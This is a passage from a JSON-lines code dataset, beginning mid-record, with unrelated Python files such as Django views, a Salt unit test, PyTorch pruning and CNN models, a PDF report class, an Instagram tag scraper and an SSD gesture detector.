    Item Saved\", extra_tags='html_safe')\n\t\treturn HttpResponseRedirect(instance.get_absolute_url())\n \n\n\tcontext={\n \"title\":instance.title,\n \"instance\":instance,\n \"form\":form\n }\n\treturn render(request,\"post_form.html\",context)\n\n\ndef post_delete(request,id=None):\n\tinstance=get_object_or_404(Post,id=id)\n\tinstance.delete()\n\tmessages.success(request,\"Successfully Deleted\")\n\treturn redirect(\"posts:list\")\n\t\t\t","sub_path":"tryjango19/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"293768030","text":"# -*- coding: utf-8 -*-\n\n# Import Python libs\nfrom __future__ import absolute_import\n\n# Import Salt Libs\nfrom salt.modules import status\nfrom salt.exceptions import CommandExecutionError\n\n# Import Salt Testing Libs\nfrom salttesting import TestCase\nfrom salttesting.helpers import ensure_in_syspath\nfrom salttesting.mock import (\n MagicMock,\n patch,\n)\n\nensure_in_syspath('../../')\n\n# Globals\nstatus.__salt__ = {}\n\n\nclass StatusTestCase(TestCase):\n '''\n test modules.status functions\n '''\n\n def test_uptime(self):\n '''\n Test modules.status.uptime function, new version\n :return:\n '''\n class ProcUptime(object):\n def __init__(self, *args, **kwargs):\n self.data = \"773865.18 1003405.46\"\n\n def read(self):\n return self.data\n\n with patch.dict(status.__salt__, {'cmd.run': MagicMock(return_value=\"1\\n2\\n3\")}):\n with patch('os.path.exists', MagicMock(return_value=True)):\n with patch('time.time', MagicMock(return_value=1458821523.72)):\n status.open = ProcUptime\n u_time = status.uptime()\n self.assertEqual(u_time['users'], 3)\n self.assertEqual(u_time['seconds'], 773865)\n self.assertEqual(u_time['days'], 8)\n self.assertEqual(u_time['time'], '22:57')\n\n def test_uptime_failure(self):\n '''\n Test modules.status.uptime function should raise an exception if /proc/uptime does not exists.\n :return:\n '''\n with patch('os.path.exists', MagicMock(return_value=False)):\n with self.assertRaises(CommandExecutionError):\n status.uptime()\n\n def test_deprecated_uptime(self):\n '''\n test modules.status.uptime function, deprecated version\n '''\n mock_uptime = 'very often'\n mock_run = MagicMock(return_value=mock_uptime)\n with patch.dict(status.__salt__, {'cmd.run': mock_run}):\n self.assertEqual(status._uptime(), mock_uptime)\n\n mock_uptime = 'very idle'\n mock_run = MagicMock(return_value=mock_uptime)\n with patch.dict(status.__salt__, {'cmd.run': mock_run}):\n with patch('os.path.exists', MagicMock(return_value=True)):\n self.assertEqual(status._uptime(human_readable=False), mock_uptime.split()[0])\n\n mock_uptime = ''\n mock_return = 'unexpected format in /proc/uptime'\n mock_run = MagicMock(return_value=mock_uptime)\n with patch.dict(status.__salt__, {'cmd.run': mock_run}):\n with patch('os.path.exists', MagicMock(return_value=True)):\n self.assertEqual(status._uptime(human_readable=False), mock_return)\n\n mock_return = 'cannot find /proc/uptime'\n with patch('os.path.exists', MagicMock(return_value=False)):\n self.assertEqual(status._uptime(human_readable=False), mock_return)\n\n\nif __name__ == '__main__':\n from integration import run_tests\n run_tests(StatusTestCase, needs_daemon=False)\n","sub_path":"tests/unit/modules/status_test.py","file_name":"status_test.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"245045992","text":"#G00387859 DONAL MAHER\n\"\"\"\nWrite a program that takes a positive floating-point number as input and outputs an \napproximation of its square root. \nYou should create a function called sqrt that does this.\n\"\"\"\nimport math\n\ndef sqrt(num):\n #recreate the math \n #sqrtR = math.sqrt(num)\n sqrtR= num**(1.0/2)\n return sqrtR\n\nnum = float(input(\"Please enter a positive number: \"))\nresult = round(sqrt(num),1)\nprint(\"The square root of \" + str(num)+\" is approx. \"+str(result)+\".\")","sub_path":"Weekly_Tasks/squareroot.py","file_name":"squareroot.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"259290620","text":"class TinyCNN(nn.Module):\n \"\"\"\n TinyCNN: https://arxiv.org/abs/1911.06777v1\n\n fc1, fc2 should be modified for each image size and class num.\n\n model=TinyCNN()\n model.fc1 = nn.Linear(in_features=128 * FC_H * FC_W, out_features=N_CLASSES)\n model.fc2 = nn.Linear(in_features=100, out_features=N_CLASSES)\n \"\"\"\n\n def __init__(self, DROPOUT=False):\n super(TinyCNN, self).__init__()\n self.conv1 = nn.Conv2d(3, 32, 3, 1, 1, bias=False)\n self.conv2 = nn.Conv2d(32, 64, 3, 1, 1, bias=False)\n self.conv3 = nn.Conv2d(64, 128, 3, 1, 1, bias=False)\n self.conv4 = nn.Conv2d(128, 128, 3, 1, 1, bias=False)\n\n self.relu = nn.ReLU(inplace=False)\n self.pool = nn.MaxPool2d(2)\n \n self.classifier = nn.Sequential(nn.Linear(128 * 14 * 14, 100), nn.Dropout2d(p=0.5), self.relu,\n nn.Linear(100, 20), nn.Dropout2d(p=0.4))\n \n self._init_weights()\n\n def _init_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d) or isinstance(m, nn.Linear):\n nn.init.kaiming_uniform_(m.weight)\n if m.bias is not None:\n nn.init.constant(m.bias, 0)\n\n def encode(self, x):\n x = self.pool(self.relu(self.conv1(x)))\n x = self.pool(self.relu(self.conv2(x)))\n x = self.pool(self.relu(self.conv3(x)))\n x = self.pool(self.relu(self.conv4(x)))\n return x\n\n def forward(self, x):\n x = self.encode(x)\n\n x = x.view(x.size(0),-1)\n x = self.classifier(x)\n\n return self.relu(x)","sub_path":"model/tiny_cnn.py","file_name":"tiny_cnn.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"398960436","text":"import copy\n\nfrom source import get_test_dump, get_test_dump_10, get_random_dump\nfrom coord2 import routes_view\nfrom point import Point, Points\nfrom route import RoutePoints\n\n\ndef solution():\n # points = Points(get_random_dump())\n points = Points(get_test_dump())\n # points = Points(get_test_dump_10())\n\n # ------ find enabled points\n # -------- create route\n # ---------- find win km\n # ---------- check capacity\n # ---------- find neighbor\n # ---------- add neighbor\n # ---------- check capacity\n\n routes = []\n the_points_are_over = False\n current_route = None\n\n while not the_points_are_over:\n\n if not current_route:\n current_route = RoutePoints()\n point_x, point_y = points.get_max_winkm()\n\n current_route.push(point_x)\n current_route.push(point_y)\n\n neighbor_point_id, route_point_id = points.find_neighbor(current_route)\n\n if not route_point_id or not neighbor_point_id:\n ready_route, current_route = copy.copy(current_route), None\n\n ready_route.add_depot_point(points[0])\n routes.append(ready_route)\n\n if not points.do_have_enable_points():\n the_points_are_over = True\n # break\n continue\n\n route_point = points.get_point_by_id(route_point_id)\n neighbor_point = points.get_point_by_id(neighbor_point_id)\n current_route.push(neighbor_point, route_point)\n\n routes_view(points, routes)\n","sub_path":"method.py","file_name":"method.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"423297460","text":"n,k = input().split()\nn = int(n)\nk = int(k)\na= input().split()\nc = input().split()\nfor i in range(0,n):\n a[i] = int(a[i])\nfor i in range(0,len(c)):\n c[i] = int(c[i])\ninhand = False\npos = 0\nfor i in c:\n if i == 1:\n if pos != 0:\n pos -= 1\n elif i == 2:\n if pos != n-1:\n pos += 1\n elif i == 3:\n if a[pos] > 0 and inhand == False:\n inhand = True\n a[pos] -= 1\n elif i == 4:\n if a[pos] != k and inhand == True:\n inhand = False\n a[pos] += 1\n elif i == 0:\n break\nans = \"\"\nfor i in a:\n ans += str(i)\n ans += \" \"\nprint(ans)\n","sub_path":"Python/grguy.py","file_name":"grguy.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"486929285","text":"from __future__ import unicode_literals\nfrom fpdf import FPDF\nimport datetime\n#python -m pip install fpdf\n#pip install fpdf\n#pip install unicode-string-literal\n#pip install fonttools\n\n\nclass CustomPDF(FPDF):\n\n def header(self):\n # Set up a logo\n d = datetime.date.today()\n d_string = d.__str__()\n\n self.set_font('Times', 'B', 20)\n\n # Add an address\n self.cell(0, 0, 'Wyniki badania ultrasonograficznego', ln=1, align='L')\n\n self.set_font('Times', 'B', 13)\n self.cell(0, 0, d_string, ln=1, align='R')\n\n # self.set_draw_color(176, 224, 230)\n # self.set_draw_color(65, 105, 225)\n self.set_draw_color(217,217,245)\n\n\n self.set_line_width(1)\n self.line(10, 30, 150, 30)\n\n\n # Line break\n self.ln(20)\n\n def footer(self):\n self.set_y(-10)\n\n self.set_font('Times', 'I', 8)\n\n self.set_draw_color(230, 230, 250)\n self.line(10, 285, 200, 285)\n\n\n # Add a page number\n page = 'Strona ' + str(self.page_no()) + '/{nb}'\n self.cell(0, 10, page, 0, 0, 'C')\n\n def form(self, name, surname, pesel, birth_date, phone, email):\n self.set_font(\"Times\", size=12)\n self.cell(0, 10, txt=\"Imie: \" + \" \" + name, ln=1)\n self.cell(0, 10, txt=\"Nazwisko:\" + \" \" + surname, ln=1)\n self.cell(0, 10, txt=\"Pesel:\" + \" \" + pesel, ln=1)\n self.cell(0, 10, txt=\"Data urodzenia:\" + \" \" + birth_date, ln=1)\n self.cell(0, 10, txt=\"Numer telefonu:\" + \" \" + phone, ln=1)\n self.cell(0, 10, txt=\"E-mail:\" + \" \" + email, ln=1)\n self.ln(10)\n\n def description_of_examination(self, examination, description):\n self.set_font(\"Times\", 'B', size=12)\n self.cell(0, 10, txt=\"Rozpoznanie:\", ln=1)\n self.set_font(\"Times\", size=12)\n self.multi_cell(w=0, h=10, txt=examination, border=1, align='J')\n self.set_font(\"Times\", 'B', size=12)\n self.cell(0, 10, txt=\"Opis badania:\", ln=1)\n self.set_font(\"Times\", size=12)\n self.multi_cell(w=0, h=10, txt=description, border=1, align='J')\n self.ln(5)\n\n def exam_pic(self,i):\n switcher = {\n '1': \"../AppWithPlotCutter/mysite/generate_pdf/photos/Pi1.png\",\n '2': \"../AppWithPlotCutter/mysite/generate_pdf/photos/Pi2.png\",\n '3': \"../AppWithPlotCutter/mysite/generate_pdf/photos/Pi3.png\",\n '4': \"../AppWithPlotCutter/mysite/generate_pdf/photos/Pi4.png\",\n '5': \"../AppWithPlotCutter/mysite/generate_pdf/photos/S1.png\",\n '6': \"../AppWithPlotCutter/mysite/generate_pdf/photos/S2.png\",\n '7': \"../AppWithPlotCutter/mysite/generate_pdf/photos/S3.png\",\n '8': \"\",\n }\n return switcher.get(i, \"Niepoprawny wybór\")","sub_path":"mysite/custom_pdf.py","file_name":"custom_pdf.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"333070872","text":"# This code is written by Behnaz Eslami - behnazeslami30@gmail.com\r\nimport requests\r\nimport time\r\nimport json\r\n\r\narr = []\r\nend_cursor = '' # empty for the 1st page\r\ntag = 'russia' # your tag\r\npage_count = 5 # desired number of pages\r\nfor i in range(0, page_count):\r\n url = \"https://www.instagram.com/explore/tags/{0}/?__a=1&max_id={1}\".format(tag, end_cursor)\r\n r = requests.get(url)\r\n data = json.loads(r.text)\r\n\r\n end_cursor = data['graphql']['hashtag']['edge_hashtag_to_media']['page_info'][\r\n 'end_cursor'] # value for the next page\r\n edges = data['graphql']['hashtag']['edge_hashtag_to_media']['edges'] # list with posts\r\n\r\n for item in edges:\r\n arr.append(item['node'])\r\n time.sleep(2) # insurence to not reach a time limit\r\nprint(end_cursor) # save this to restart parsing with the next page\r\nwith open('posts.json', 'w') as outfile:\r\n json.dump(arr, outfile) # save to json\r\n","sub_path":"InstagramAPI.py","file_name":"InstagramAPI.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"289116013","text":"# coding: utf-8\nimport pickle\nimport re\nfrom hashlib import md5\n\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.core.mail import mail_admins, EmailMessage\nfrom django.template import Context, loader\n\ntranslit = {'а': 'a', 'б': 'b', 'в': 'v', 'г': 'g', 'д': 'd', 'е': 'e',\n 'ж': 'zh', 'з': 'z', 'и': 'i', 'й': 'j', 'к': 'k', 'л': 'l',\n 'м': 'm', 'н': 'n', 'о': 'o', 'п': 'p', 'р': 'r', 'с': 's',\n 'т': 't', 'у': '', 'ф': 'f', 'х': 'x', 'ц': 'cz', 'ч': 'ch',\n 'ш': 'sh', 'щ': 'shh', 'ъ': '_d', 'ы': 'yi', 'ь': 'y', 'э': 'ye',\n 'ю': 'y', 'я': 'ya', 'ё': 'yo',\n 'æ': 'e',\n 'á': 'a', 'é': 'e', 'ć': 'c',\n 'ä': 'a', 'ü': '', 'ö': 'o',\n 'å': 'a', 'ů': '',\n 'č': 'c', 'š': 's', 'ř': 'r', 'ž': 'z', 'ě': 'e',\n 'ø': 'o',\n }\n\n\ndef rus2translit(text):\n res = ''\n for c in text:\n if c in translit:\n res += translit[c]\n elif c.lower() in translit:\n res += translit[c.lower()].upper()\n else:\n res += c\n return res\n\n\ndef slug(title):\n return re.sub('\\s+', '-', rus2translit(title.strip())).lower()\n\n\ndef send_html_mail(subject, message, recipient_list):\n if not isinstance(recipient_list, list):\n recipient_list = [recipient_list]\n message = EmailMessage(subject, message, to=recipient_list)\n message.content_subtype = 'html'\n message.send()\n\n\ndef notice_admin(text, subject='Glader.ru: Ошибка на сайте'):\n text = '%s' % text\n mail_admins(subject, text, html_message=text)\n\n\ndef cached(cache_key='', timeout_seconds=1800):\n \"\"\"Django cache decorator\n\n Example 1:\n class MenuItem(models.Model):\n @classmethod\n @cached('menu_root', 3600*24)\n def get_root(self):\n return MenuItem.objects.get(pk=1)\n\n Example 2:\n @cached(lambda u: 'user_privileges_%s' % u.username, 3600)\n def get_user_privileges(user):\n #...\n \"\"\"\n def _cached(func):\n def do_cache(*args, **kwargs):\n if cache_key:\n if isinstance(cache_key, str):\n key = cache_key % locals()\n elif callable(cache_key):\n key = cache_key(*args, **kwargs)\n else:\n raw = [func.__name__, func.__module__, args, kwargs]\n pickled = pickle.dumps(raw, protocol=pickle.HIGHEST_PROTOCOL)\n key = md5(pickled).hexdigest()\n\n key = settings.CACHE_MIDDLEWARE_KEY_PREFIX + key\n data = cache.get(key)\n if data:\n return data\n data = func(*args, **kwargs)\n cache.set(key, data, timeout_seconds)\n return data\n return do_cache\n return _cached\n\n\ndef process_template(template, context):\n \"\"\" Обрабатывает шаблон, в котором первая строка считается заголовком \"\"\"\n t = loader.get_template(template)\n c = Context(context)\n subject, content = t.render(c).split('\\n', 1)\n return subject, content\n\n\ndef clean_choice(variant, variants):\n if variant in variants:\n return variant\n else:\n return variants[0]\n","sub_path":"src/movies/utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"194533546","text":"import argparse\nimport time\n\nimport torch\nfrom torchvision import datasets, transforms\nfrom functional_models.eval_train import *\nfrom functional_models.architectures import *\nfrom functional_models.pruning_funcs import *\n\n\ndef main(args):\n results_dir = 'results'\n model_dir = 'saved_models'\n\n ##############################\n # Parameters. #\n ##############################\n\n model_type = args.model_type\n approach = args.prune_approach\n method = args.prune_method\n epochs = args.train_epochs\n prune_amount = args.prune_ratio\n batch_size = args.batch_size\n prune_output_layer = args.prune_output_layer\n\n if approach == 'oneshot':\n rounds = 2\n else:\n rounds = args.iter_prune_rounds\n\n ##############################\n # Train and Test Loaders. #\n ##############################\n\n if model_type == 'lenet':\n transform = transforms.ToTensor()\n train_data = datasets.MNIST('./dataset/', train=True, download=True, transform=transform)\n test_data = datasets.MNIST('./dataset/', train=False, download=True, transform=transform)\n elif model_type == 'conv4' or model_type == 'vgg19':\n transform = transforms.Compose([transforms.ToTensor(), transforms.Normalize((0.5,), (0.5,))])\n train_data = datasets.CIFAR10('./dataset/', train=True, download=True, transform=transform)\n test_data = datasets.CIFAR10('./dataset/', train=False, download=True, transform=transform)\n\n # prepare data loaders\n num_workers = 0\n train_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size, shuffle=True, num_workers=num_workers)\n test_loader = torch.utils.data.DataLoader(test_data, batch_size=batch_size, shuffle=True, num_workers=num_workers)\n\n ##############################\n # Init Network. #\n ##############################\n\n # initialize the NN and define optimizer/learning rate\n if model_type == 'lenet':\n model = LeNet()\n optim_type = 'adam'\n lr = 1.2e-3\n elif model_type == 'conv4':\n model = Conv_4()\n optim_type = 'adam'\n lr = 3e-4\n elif model_type == 'vgg19':\n model = VGG()\n optim_type = 'sgd'\n lr = 0.1\n\n print(model)\n #######################################\n # Identifying winning tickets. #\n #######################################\n\n init = 'rewind'\n\n print(\n f'Prune {model_type} model, with {approach} pruning and {init} init,using {optim_type} optimizer with learning rate={lr} and with pruning rate of {100 * prune_amount:.1f}%')\n\n # Step 1\n init_model_weights(model, model_type)\n init_prune_model(model)\n init_weights = save_model_weights(model)\n\n sparsity_l = []\n for round in range(rounds):\n print('Prune Round: {}'.format(round + 1))\n t0 = time.time()\n sparsity = calc_model_sparsity(model) / 100\n sparsity_l.append(sparsity)\n print_sparsity(model)\n\n # Step 2\n train_model(model,\n f'model-{model_type}_batchsz-{batch_size}_approach-{approach}_method-{method}_init-{init}_remainweights-{100 * (1 - sparsity):.1f}',\n epochs=epochs, lr=lr,\n train_loader=train_loader, test_loader=test_loader,\n model_dir=model_dir, results_dir=results_dir)\n\n if round < (rounds - 1):\n # Step 3\n p = pow(prune_amount, (1 / (round + 1)))\n print(f'pruning rate: {100 * p:.1f}%')\n prune_model(model, p, method, prune_output_layer)\n\n # Step 4\n rewind_model_weights(model, init_weights)\n\n print(f'Model pruning, took {time.time() - t0: .2f} seconds')\n\n #############################################\n # Random initialization of winning tickets. #\n #############################################\n\n init = 'random'\n\n print(\n f'Train and evaluate winning/random ticket {model_type} model, with {approach} pruning and {init} init, using {optim_type} optimizer with learning rate={lr} and with pruning rate of {100 * prune_amount:.1f}%')\n\n i = 0\n for round in range(rounds):\n print('Random training round: {}'.format(round + 1))\n t0 = time.time()\n # load winning ticket\n sparsity = sparsity_l[i]\n model_name = model_dir + '/' + f'model-{model_type}_batchsz-{batch_size}_approach-{approach}_method-{method}_init-rewind_remainweights-{100 * (1 - sparsity):.1f}' + '.pt'\n model.load_state_dict(torch.load(model_name))\n init_model_weights(model, model_type)\n print_sparsity(model)\n train_model(model,\n f'model-{model_type}_batchsz-{batch_size}_approach-{approach}_method-{method}_init-{init}_remainweights-{100 * (1 - sparsity):.1f}',\n epochs=epochs, lr=lr,\n train_loader=train_loader, test_loader=test_loader,\n model_dir=model_dir, results_dir=results_dir)\n i += 1\n\n print(f'Model Training with random init, took {time.time() - t0: .2f} seconds')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--model_type\",default=\"lenet\", type=str, help=\"lenet | conv4 | vgg19\")\n parser.add_argument(\"--batch_size\", default=64, type=int)\n parser.add_argument(\"--prune_approach\", default=\"iterative\", type=str, help=\"iterative | oneshot\")\n parser.add_argument(\"--prune_method\", default=\"local\", type=str, help=\"local | global\")\n parser.add_argument(\"--train_epochs\", default=64, type=int)\n parser.add_argument(\"--prune_ratio\", default=0.1, type=int, help=\"Initial pruning ratio (0-1)\")\n parser.add_argument(\"--prune_output_layer\", default=True, type=bool, help=\"Apply pruning to output layer\")\n parser.add_argument(\"--iter_prune_rounds\", default=10, type=int, help=\"# of rounds in iterative pruning\")\n args = parser.parse_args()\n\n main(args)\n","sub_path":"pruning-lth/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"376139914","text":"# -*- encoding: utf-8 -*-\n\"\"\"\nCopyright (c) 2019 - present AppSeed.us\n\"\"\"\n\nfrom django.urls import path, re_path\nfrom app import views\n\nurlpatterns = [\n\n # The home page\n path('', views.index, name='home'),\n\n # # Main index page\n path('main', views.mainIndex, name='index'),\n\n # # Fitur page\n path('help-and-documentation', views.helpAndDocumentation, name='help-and-documentation'),\n \n # # Create Project Page\n path('create-project', views.createProject, name='create-project'),\n\n # # Create Project Page\n path('create-project/store', views.createProjectStore, name='create-project-store'),\n \n # # Tutorial page\n path('tutorial', views.tutorial, name='tutorial'),\n \n # # List Project Page\n path('list-project', views.listProject, name='list-project'),\n\n # # Edit Project Page\n path('edit-project/', views.editProject, name='edit-project'),\n path('edit-project/update', views.updateProject, name='update-project'),\n\n # Delete Project\n path('delete-project/', views.deleteProject, name='delete-project'),\n\n # Delete Feature\n path('delete-feature//', views.deleteFeature, name='delete-feature'),\n\n # Coba pakai id\n path('detail-project/', views.detailProject, name='detail-project'),\n\n # # Edit Feature Page\n path('edit-feature//', views.editFeature, name='edit-feature'),\n path('edit-feature/update', views.updateFeature, name='update-feature'),\n \n #GENERATE\n path('hasil-generate//', views.hasilgenerate, name='hasil-generate'),\n\n # # Add Feature Page\n path('add-feature/', views.addFeature, name='add-feature'),\n path('add-feature/store', views.addFeatureHasil, name='add-feature-hasil'),\n # Matches any html file\n re_path(r'^.*\\.*', views.pages, name='pages'),\n \n]\n","sub_path":"UserStoryScenario/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"573815675","text":"# 01) O que significa o negativo de uma imagem?\n# Uma imagem negativa é obtida através da inversão de cores de uma imagem normal.\n\n#Imagem colorida\nfrom PIL import Image\n\nimgColor = Image.open('colorido.jpg')\nmatrizColor = imgColor.load()\n\nfor i in range (imgColor.size[0]):\n for j in range (imgColor.size[1]):\n r = 255 - matrizColor[i, j][0]\n g = 255 - matrizColor[i, j][1]\n b = 255 - matrizColor[i, j][2]\n\n matrizColor[i, j] = (r, g, b)\n\nimgColor.save('coloridoNegativo.jpg')\n\n#Imagem escala de cinza\nimgPB = Image.open('pretoBranco.jpg')\nmatrizPB = imgPB.load()\n\nfor i in range (imgPB.size[0]):\n for j in range (imgPB.size[1]):\n r = 255 - matrizPB[i, j][0]\n g = 255 - matrizPB[i, j][1]\n b = 255 - matrizPB[i, j][2]\n\n matrizPB[i, j] = (r, g, b)\n\nimgPB.save('pretoBrancoNegativo.jpg')","sub_path":"Lista 03/Lista 03/exercicio01.py","file_name":"exercicio01.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"103665756","text":"#coding=utf-8\nimport tensorflow as tf\nfrom datasets import dataset_factory\nfrom nets import nets_factory\nfrom preprocessing import ssd_vgg_preprocessing\nimport cv2\nfrom nets import np_methods\nfrom preprocessing import ssd_vgg_preprocessing\n\nslim = tf.contrib.slim\n\nmapper = {2: \"OK\", 3:\"FIVE\", 4: \"V\", 5:\"SIX\", 6:\"IOU\", 7:\"GOOD\", 8:\"BAD\"}\nSIZE = (160, 160, 3)\nMNAME = \"mobile_v2_160\"\nMPATH= \"./mobile_v2_224_0225checkpoint\"\n\ndef init_net():\n\n with tf.Graph().as_default():\n sess = tf.Session()\n ssd_class = nets_factory.get_network(MNAME)\n ssd_params = ssd_class.default_params._replace(num_classes=21)\n ssd_net = ssd_class(ssd_params)\n img_input = tf.placeholder(tf.uint8, shape=(None, None, 3), name=\"input_image\")\n\n # Evaluation pre-processing: resize to SSD net shape.\n image_pre, labels_pre, bboxes_pre, bbox_img = ssd_vgg_preprocessing.preprocess_for_eval(\n img_input, None, None, SIZE[:-1], \"NHWC\", resize=ssd_vgg_preprocessing.Resize.WARP_RESIZE)\n image_4d = tf.expand_dims(image_pre, 0)\n\n ssd_shape = ssd_net.params.img_shape\n ssd_anchors = ssd_net.anchors(ssd_shape)\n\n arg_scope = ssd_net.arg_scope(data_format=\"NHWC\")\n with slim.arg_scope(arg_scope):\n predictions, localisations, logits, end_points = \\\n ssd_net.net(image_4d, is_training=False)\n localisations = ssd_net.bboxes_decode(localisations, ssd_anchors)\n rscore, rbboxes = ssd_net.detected_bboxes(predictions, localisations, select_threshold=0.05, top_k=50, keep_top_k=10, nms_threshold=0.2)\n\n\n init_op = tf.group(tf.global_variables_initializer(),\n tf.local_variables_initializer())\n saver = tf.train.Saver()\n ckpt = tf.train.get_checkpoint_state(MPATH)\n\n saver.restore(sess, ckpt.model_checkpoint_path)\n return sess, rscore, rbboxes, bbox_img, img_input, ssd_anchors\n\ndef show_cost(func):\n def wrap(*args, **kwargs):\n import time\n from_time = time.time()\n result = func(*args, **kwargs)\n print(\"cost: \", time.time() - from_time)\n return result \n return wrap\n \n@show_cost\ndef once_eval(sess, scores, boundboxes, bbox_img, img_input, ssd_anchors, img):\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n scores, boundboxes, rbbox_img = sess.run([scores, boundboxes, bbox_img], feed_dict={img_input: img})\n keys = scores.keys()\n nums = len(scores[1])\n rclasses, rbboxes = [], []\n for x in xrange(nums):\n print((scores[1].shape, boundboxes[1].shape))\n rc = max([(scores[k][0][x], boundboxes[k][0][x], k) for k in keys], key=lambda cad: cad[0])\n rclasses.append(rc[2]), rbboxes.append(rc[1])\n return rclasses, rbboxes\n\ndef test(img_dir, save=False):\n for root, dirlist, files in os.walk(img_dir):\n paths = map(lambda f: os.path.join(root, f), files)\n sess, rscores, boxes, bbox_img, img_input, ssd_anchors = init_net()\n result = {}\n for idx, path in enumerate(paths):\n img = cv2.imread(path)\n (height, width) = img.shape[:-1]\n rclasses, rbboxes = once_eval(sess, rscores, boxes, bbox_img, img_input, ssd_anchors, img)\n for i, box in enumerate(rbboxes):\n ymin, xmin, ymax, xmax = map(int, [box[0] * height, box[1]*width, box[2] * height, box[3] * width])\n cv2.rectangle(img, (xmin, ymin), (xmax, ymax), (0,255,0), 2)\n cv2.putText(img, mapper.get(rclasses[i]), (xmin, ymin), cv2.FONT_HERSHEY_COMPLEX, 1,(0,0,255), 1)\n if save:\n cv2.imwrite(\"./test_out/out%s.jpg\"%idx, img)\n\nclass GestureDetector:\n\n def __init__(self, is_train=False):\n if is_train:\n self.tensors = sess, rscores, boxes, bbox_img, img_input, ssd_anchors = init_net()\n\n def run(self, cv_img):\n rclasses, rbboxes = once_eval(*(self.tensors + (cv_img,)))\n points = []\n height, width = cv_img.shape[:-1]\n for i, box in enumerate(rbboxes):\n if mapper.get(rclasses[i]) <=1:\n continue\n ymin, xmin, ymax, xmax = map(int, [box[0] * height, box[1]*width, box[2] * height, box[3] * width])\n points.append({\"x\": xmin, \"y\": ymin, \"type\": \"rect\", \"width\": xmax - xmin, \"height\": ymax - ymin, \"name\": mapper.get(rclasses[i])})\n return points\n\n def gen_model(self, model_path):\n sess, scores, boundboxes, rbbox_img, img_input = self.tensors[:5]\n rclasses, mboxes = [], []\n for k in scores.keys():\n mask = tf.greater(scores[k], 0.3)\n rclasses.append(tf.boolean_mask(tf.cast(mask, tf.int32) * k, mask))\n mboxes.append(tf.boolean_mask(boundboxes[k], mask))\n\n stack_classes = tf.concat(rclasses, axis=0, name=\"rclasses\")\n stack_boxes = tf.concat(mboxes, axis=0, name=\"boundboxes\")\n from tensorflow.python.framework.graph_util import convert_variables_to_constants\n with sess.graph.as_default():\n print(stack_boxes.get_shape())\n #saver = tf.train.Saver()\n #saver.save(sess, \"./gesture_mobile/model.ckpt\")\n output_graph_def = convert_variables_to_constants(sess, sess.graph_def, output_node_names=['rclasses', 'boundboxes'])\n with tf.gfile.FastGFile(model_path, mode='wb') as f:\n f.write(output_graph_def.SerializeToString())\n sess.close()\n\n def reload_pb(self, path='./gesture_mobile/ry_guesture.pb'):\n sess = tf.Session()\n @show_cost\n def run(img):\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n height, width = img.shape[:-1]\n img = cv2.resize(img, SIZE[:-1])\n rclasses, rbboxes= sess.run(output, feed_dict={image: img})\n points = []\n for i, box in enumerate(rbboxes):\n ymin, xmin, ymax, xmax = map(int, [box[0] * height, box[1]*width, box[2] * height, box[3] * width])\n points.append({\"x\": xmin, \"y\": ymin, \"type\": \"rect\", \"width\": xmax - xmin, \"height\": ymax - ymin, \"name\": mapper.get(rclasses[i])})\n return points\n\n\n with open(path, 'rb') as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n image = tf.placeholder(tf.uint8, SIZE)\n output = tf.import_graph_def(graph_def,\n input_map={'input_image:0': image},\n return_elements=['rclasses:0', \"boundboxes:0\"])\n return run\n\ndef camera_test():\n cap = cv2.VideoCapture(0)\n sess, rscores, boxes, bbox_img, img_input, ssd_anchors = init_net()\n\n while True:\n ret, cv_image = cap.read()\n print(cv_image.shape)\n img = cv2.resize(cv_image, (640, 480))\n (height, width) = img.shape[:-1]\n\n if not ret:\n return -1\n rclasses, rbboxes = once_eval(sess, rscores, boxes, bbox_img, img_input, ssd_anchors, img)\n print(img.shape)\n print(rclasses, rbboxes)\n for i, box in enumerate(rbboxes):\n ymin, xmin, ymax, xmax = map(int, [box[0] * height, box[1]*width, box[2] * height, box[3] * width])\n cv2.rectangle(img, (xmin, ymin), (xmax, ymax), (0,255,0), 2)\n cv2.putText(img, mapper.get(rclasses[i]), (xmin, ymin), cv2.FONT_HERSHEY_COMPLEX, 1,(0,0,255), 1)\n cv2.imshow(\"result\", img)\n\n if cv2.waitKey(3) == 27:\n break\n cap.release()\n\nimport os\nif __name__ == \"__main__\":\n os.environ['CUDA_VISIBLE_DEVICES'] = ''\n camera_test()\n #test(\"./validation\")\n #GestureDetector().gen_model(\"gesture_v0224.pb\") 